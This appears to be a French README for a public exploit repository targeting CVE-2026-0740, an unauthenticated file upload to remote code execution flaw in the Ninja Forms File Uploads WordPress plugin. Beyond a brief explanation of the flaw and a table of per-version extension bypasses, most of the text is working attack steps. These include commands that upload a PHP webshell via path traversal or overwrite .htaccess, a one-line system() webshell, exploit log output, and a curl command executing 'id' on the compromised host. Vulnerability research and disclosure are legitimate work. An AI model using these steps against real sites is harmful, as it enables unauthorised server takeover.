
Ninja Forms File Uploads <= 3.3.26 - Téléchargement de fichier arbitraire non authentifié vers RCE (CVE-2026-0740)
Exploit pour CVE-2026-0740 découvert par Selim Lanouar (whattheslime).
Pour une analyse technique complète, lisez l'article complet sur le blog de Lexfo.
Ce dépôt est fourni uniquement à des fins de recherche et de sécurité défensive.
L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.
Le plugin Ninja Forms - File Uploads pour WordPress est vulnérable à un Téléchargement Arbitraire de Fichier non Authentifié menant à une Exécution de Code à Distance dans toutes les versions jusqu'à la 3.3.26 incluse.
La vulnérabilité a été découverte et signalée à l'origine sur la version 3.3.23.
L'exploitation est simple jusqu'à la version 3.3.24 (aucune validation sur le nom de fichier de destination).
Les versions 3.3.25 et 3.3.26 ont introduit des correctifs partiels successifs, mais le problème n'est complètement résolu que dans la version 3.3.27.
La chaîne de vulnérabilité est la suivante :
nf_fu_get_new_nonce avec un field_id arbitraire.nf_fu_upload valide l'extension du fichier téléchargé (par ex. image.jpg), mais permet au client de remplacer le nom de fichier de destination via un paramètre POST (image_jpg).move_uploaded_file() sans désinfection appropriée, permettant des extensions arbitraires et un path traversal (../).| Vecteur / Extension | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Traversée de chemin (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
Voir l'article complet sur le blog pour la table des extensions complète et l'analyse technique approfondie.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
Le fichier sera écrit dans wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
Le fichier sera écrit dans wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)